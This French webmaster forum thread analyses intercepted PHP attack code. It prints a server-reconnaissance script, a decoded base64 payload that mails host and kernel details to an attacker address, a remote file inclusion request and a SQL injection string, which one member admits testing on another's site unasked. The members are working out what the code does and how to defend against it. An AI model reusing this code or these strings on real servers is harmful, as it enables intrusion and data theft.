Tentative de piratage ^^

medium69

WRInaute passionné
Je viens d'intercepter ce code :

Code:
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len <=6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len <=9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
   
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
                           
}

echo "Rama<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Rama was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
eval(base64_decode(" un code à évaluer"));
exit;

mon site à diverses protections et je suis tombé là-dessus.
J'ai compris que le but est d'avoir des infos sur mon serveur et mes id.

Mais que fait la dernière ligne (eval...) ?
 

Blount

WRInaute impliqué
Ça sert à évaluer du code source PHP. base64 permet de convertir des données dans un format sépécifique contenant des caractères ASCII seulement.

Avec un print_r de la sortie de « base64_decode », on obtiens ceci :
jerome@jerome:~$ php -r 'print_r(base64_decode("aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJ1bml4b24yMDEwQGdtYWlsLmNvbSIsIlNldG9yYW4gQm9zICIuJHNhZmVtb2RlLCRib2R5LCRmbG9hdCk7"));'
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "ON"; } else { $safemode = "OFF"; } $visitor = $_SERVER["REMOTE_ADDR"]; $float = "From : vurl info <full@info.com>"; $aran = exec('uname -a;'); $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Bug http://".$web.$inj."nnSpread Via : ".$visitor."nnKernel Version : ".$aran."nnSafe Mode : ".$safemode; mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);

En plus propre :
PHP:
<span class="syntaxdefault"><br />if </span><span class="syntaxkeyword">(@</span><span class="syntaxdefault">ini_get</span><span class="syntaxkeyword">(</span><span class="syntaxstring">"safe_mode"</span><span class="syntaxkeyword">)</span><span class="syntaxdefault"> or strtolower</span><span class="syntaxkeyword">(@</span><span class="syntaxdefault">ini_get</span><span class="syntaxkeyword">(</span><span class="syntaxstring">"safe_mode"</span><span class="syntaxkeyword">))</span><span class="syntaxdefault"> </span><span class="syntaxkeyword">==</span><span class="syntaxdefault"> </span><span class="syntaxstring">"on"</span><span class="syntaxkeyword">)</span><span class="syntaxdefault"> </span><span class="syntaxkeyword">{<br /></span><span class="syntaxdefault">    $safemode </span><span class="syntaxkeyword">=</span><span class="syntaxdefault"> </span><span class="syntaxstring">"ON"</span><span class="syntaxkeyword">;<br />}</span><span class="syntaxdefault"> else </span><span class="syntaxkeyword">{<br /></span><span class="syntaxdefault">    $safemode </span><span class="syntaxkeyword">=</span><span class="syntaxdefault"> </span><span class="syntaxstring">"OFF"</span><span class="syntaxkeyword">;<br />}<br /></span><span class="syntaxdefault">$visitor </span><span class="syntaxkeyword">=</span><span class="syntaxdefault"> $_SERVER</span><span class="syntaxkeyword">[</span><span class="syntaxstring">"REMOTE_ADDR"</span><span class="syntaxkeyword">];<br /></span><span class="syntaxdefault">$float </span><span class="syntaxkeyword">=</span><span class="syntaxdefault"> </span><span class="syntaxstring">"From : vurl info <full@info.com>"</span><span class="syntaxkeyword">;<br /></span><span class="syntaxdefault">$aran </span><span class="syntaxkeyword">=</span><span class="syntaxdefault"> exec</span><span class="syntaxkeyword">(</span><span class="syntaxstring">'uname -a;'</span><span class="syntaxkeyword">);<br /></span><span class="syntaxdefault">$web </span><span class="syntaxkeyword">=</span><span class="syntaxdefault"> $_SERVER</span><span class="syntaxkeyword">[</span><span class="syntaxstring">"HTTP_HOST"</span><span class="syntaxkeyword">];<br /></span><span class="syntaxdefault">$inj </span><span class="syntaxkeyword">=</span><span class="syntaxdefault"> $_SERVER</span><span class="syntaxkeyword">[</span><span class="syntaxstring">"REQUEST_URI"</span><span class="syntaxkeyword">];<br /></span><span class="syntaxdefault">$body </span><span class="syntaxkeyword">=</span><span class="syntaxdefault"> </span><span class="syntaxstring">"Bug http://"</span><span class="syntaxkeyword">.</span><span class="syntaxdefault">$web</span><span class="syntaxkeyword">.</span><span class="syntaxdefault">$inj</span><span class="syntaxkeyword">.</span><span class="syntaxstring">"nnSpread Via : "</span><span class="syntaxkeyword">.</span><span class="syntaxdefault">$visitor</span><span class="syntaxkeyword">.</span><span class="syntaxstring">"nnKernel Version : "</span><span class="syntaxkeyword">.<br /></span><span class="syntaxdefault">            $aran</span><span class="syntaxkeyword">.</span><span class="syntaxstring">"nnSafe Mode : "</span><span class="syntaxkeyword">.</span><span class="syntaxdefault">$safemode</span><span class="syntaxkeyword">;<br /></span><span class="syntaxdefault">mail</span><span class="syntaxkeyword">(</span><span class="syntaxstring">"unixon2010@gmail.com"</span><span class="syntaxkeyword">,</span><span class="syntaxstring">"Setoran Bos "</span><span class="syntaxkeyword">.</span><span class="syntaxdefault">$safemode</span><span class="syntaxkeyword">,</span><span class="syntaxdefault">$body</span><span class="syntaxkeyword">,</span><span class="syntaxdefault">$float</span><span class="syntaxkeyword">);<br /></span><span class="syntaxdefault"> </span>
 

medium69

WRInaute passionné
Si j'ai bien compris, si le code qu'il a essayé d'injecter avait été produit, il aurait reçu un e-mail avec diverses informations sur moi ?

J'ai testé le bout de code sans la dernière partie, et c'est vrai que l'on y trouve des infos intéressante :mrgreen:

Cela dit, moi aussi j'ai pu glaner quelques infos sur lui. Certes, pas grand chose, mais ça aide ^^

Code:
    * Code erreur internet :
    * Date et heure d'accès : 12/04/11 à 11:07:39
    * Url demandée : /?page=http://wt-kerber.at/r.txt??
    * Provenance : http://www.science-et-vie.net/
    * Navigateur utilisé : Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)
    * Méthode utilisée : GET
    * Chaine de requête : page=http://wt-kerber.at/r.txt??
    * Nom de Domaine : 212.234.218.194
    * IP du visiteur : 212.234.218.194

quant au site kerber ; il aurait été piraté lui aussi et il s'en servirait pour tenter d'injecter son code ?
 

Zecat

WRInaute accro
un petit signalement a google ?

mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);

:roll:
 

mitchum

WRInaute discret
un truc "drole" c'est quand tu trace l'ip....

Code:
IP address: 	212.234.218.194
IP country code: 	FR
IP address country: 	ip address flag France
IP address state: 	Ile-de-France
IP address city: 	Maisons-alfort
IP address latitude: 	48.8000
IP address longitude: 	2.4333
ISP of this IP : 	France Telecom
Organization: 	MINISTERE de L'INTERIEUR
Local time in France: 	2011-04-12 12:01
 

JanoLapin

WRInaute accro
c'est pas sur que ce soit utile, d'après le Whois, le site appartient à une fiduciaire. C'est quand même une profession très encadrée, et je ne les vois pas jouer à ce genre de jeu...

Peut-être est-ce simplement leur propre site qui a été piraté et sert de relais, comme tu le suggérais...

Prendre contact avec eux n'est donc pas forcémment une mauvaise chose, non ?
 

medium69

WRInaute passionné
Zecat a dit:
un petit signalement a google ?

mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);

:roll:

Je n'y avais pas pensé...

Comme je peux faire ce signalement ?
Quoi qu'il s'agit probablement d'une adresse relais.

Au fait... Je l'ai inscrit d'office a ma newsletter ; ainsi, il aura des infos sur mon site tous les mois :mrgreen:
 

medium69

WRInaute passionné
JanoLapin a dit:
c'est pas sur que ce soit utile, d'après le Whois, le site appartient à une fiduciaire. C'est quand même une profession très encadrée, et je ne les vois pas jouer à ce genre de jeu...

Peut-être est-ce simplement leur propre site qui a été piraté et sert de relais, comme tu le suggérais...

Prendre contact avec eux n'est donc pas forcémment une mauvaise chose, non ?

C'est un site allemand il me semble et si je ne suis pas pote avec shékispire... je le suis pas plus avec son pote dont j'ai perdu le nom :wink:

Cela dit, c'est exactement la réflexion que je me suis faite. Il sert de relais, c'est évident.
 

medium69

WRInaute passionné
Juste un début de piste :

Code:
if (xxx !== TRUE || (isset($_SERVER['HTTP_REFERER']) && ($_SERVER['HTTP_REFERER'] != 'http://www.science-et-vie.net' && strpos($_SERVER['QUERY_STRING'], '=http')))) {
	require($_SERVER['DOCUMENT_ROOT'].'/xxx/anti-hacking.php');	
	exit;
}

Mais je t'en dirais pas plus ;)
 

JanoLapin

WRInaute accro
C'est un site autrichien, et non pas allemand (pas confondre: <troll>nom d'un Belge ! :mrgreen: </troll>

Leur site est en pur html (avec 1 JS pour l'imprimer (sisi ça existe encore). Ils sont une dizaine de personne et apparemment sans informaticien...
Bref, ils ne sont sont probablement pas au courant de la présence de ce fichier sur leur serveur (fichier extension txt, qui plus est).

Si tu veux me faire parvenir par MP un texte de un mail d'avertissement (court) à leur intention, je peux te le traduire.
Nb: pas compliqué, parce qu'il que je le comprenne
NBB: pas compliqué, parce qu'il faut qu'ils le comprennent
NBBB pas TROP compliqué, parce qu'ilf aut que je le leur fasse comprendre ...
 

forty

WRInaute passionné
si tu surveilles les erreurs 404 et les paramètres d'url non prévus tu t’aperçois que ce genre de truc arrive tout le temps. Si tu commences à les gérer un par un tu n'as pas fini ;)

Le test du referer c'est pas top car beaucoup mettent comme referer la page qu'ils tentent d'appeler sur ton site.
 

Zecat

WRInaute accro
tiens forty, des fois que ca te cause.

J'ai eu droit a ca (dans un champs pseudo dans un formulaire de connexion) :

\\0\' OR 1 = 1

(c'est passé par un strip_tags et j'ai pas eu le reflexe de conserver dans un coin le "avant" strip_tags ...)

Ca t inspire quoi ?
 

forty

WRInaute passionné
Ca m'inspire que tu risques d'avoir "SELECT * FROM table_user WHERE pseudo = '\\0\' OR 1 = 1" qui va retourner le premier enregistrement trouvé dans la table puisque la condition "1 = 1" sera toujours vraie

edit : ce genre de truc ne marche que si tu ne remplaces pas les ' par \' avant de construire le SELECT
 

techron

WRInaute occasionnel
Mon antivirus (Avira) me signale un malware en tant que visiteur de ce sujet de discussion:

Malware found.

Connecté, il n'y a plus de problèmes.
 

Zecat

WRInaute accro
bon ben alors ca va ... aucune chance que ca produise le moindre effet vu comment j'ai goupillé mon bigniou :mrgreen: Je vais quand même resserer le filtrage sur ce champs ...
 

Leonick

WRInaute accro
techron a dit:
Mon antivirus (Avira) me signale un malware en tant que visiteur de ce sujet de discussion:

Malware found.

Connecté, il n'y a plus de problèmes.
ça doit venir d'une pub qui s'affiche aux non connectés. Il faudrait que tu indiques à Olivier de quelle pub ça provient. Ca n'est pas la première fois que ça arrive
 

Blount

WRInaute impliqué
Zecat a dit:
tiens forty, des fois que ca te cause.

J'ai eu droit a ca (dans un champs pseudo dans un formulaire de connexion) :

\\0\' OR 1 = 1

(c'est passé par un strip_tags et j'ai pas eu le reflexe de conserver dans un coin le "avant" strip_tags ...)

Ca t inspire quoi ?

J'ai un peu honte de le dire, mais c'est moi qui ait fait le test :D
Normalement, tu as du en avoir d'autre avant.
C'était pour voir si tu avait bien protégé tes données.

Le \0 signifie une fin de chaîne de caractères en C, ce qui peu provoquer des problèmes dans certain programme.
En fait, le code que tu as eu ne sert à rien, c'était juste pour tester quelque chose, comme j'étais sur ton site… En tout cas, le principe, c'est de faire une injection SQL. Mais si tu protèges avec la bonne fonction (pas avec addslashes par exemple), tu n'as rien à craindre.

Désolé :)

PS : d'ailleurs, le « \ » devant la quote, c'est pas très pratique quand tu reviens sur le formulaire. Tu devrais restituer la valeur exacte.
 

Marie-Aude

WRInaute accro
Leonick a dit:
ça doit venir d'une pub qui s'affiche aux non connectés. Il faudrait que tu indiques à Olivier de quelle pub ça provient. Ca n'est pas la première fois que ça arrive

Je l'avais en connecté... cela provenait semble t il du code du premier message ^^
 

techron

WRInaute occasionnel
Marie-Aude a dit:
Leonick a dit:
ça doit venir d'une pub qui s'affiche aux non connectés. Il faudrait que tu indiques à Olivier de quelle pub ça provient. Ca n'est pas la première fois que ça arrive

Je l'avais en connecté... cela provenait semble t il du code du premier message ^^
Mon anti-virus lève encore la main.
 

Zecat

WRInaute accro
Blount a dit:
J'ai un peu honte de le dire, mais c'est moi qui ait fait le test :D
Normalement, tu as du en avoir d'autre avant.
C'était pour voir si tu avait bien protégé tes données.
Oui j'ai bien vu passer tes 4 tentatives ... IP et numero de user Google (cookie utma) mémorisé dans un journal spécial ! :mrgreen:

En plus la j'ai d'autant moins a craindre une injection sql que avant d'aller faire open sql ... je vais vérifier ds trucs à partir de .txt ... (reliquat de mon époque sans mysql ... et finalement j'ai adopté ce principe sur les opérations sensibles (les entrées par formulaires) de garder cette redondance ... et la tu t'es fais jeté sans même que j'aille voir dans la base mysql ... :wink: T'as pas franchi le premier rideau :wink:
 

Discussions similaires

Haut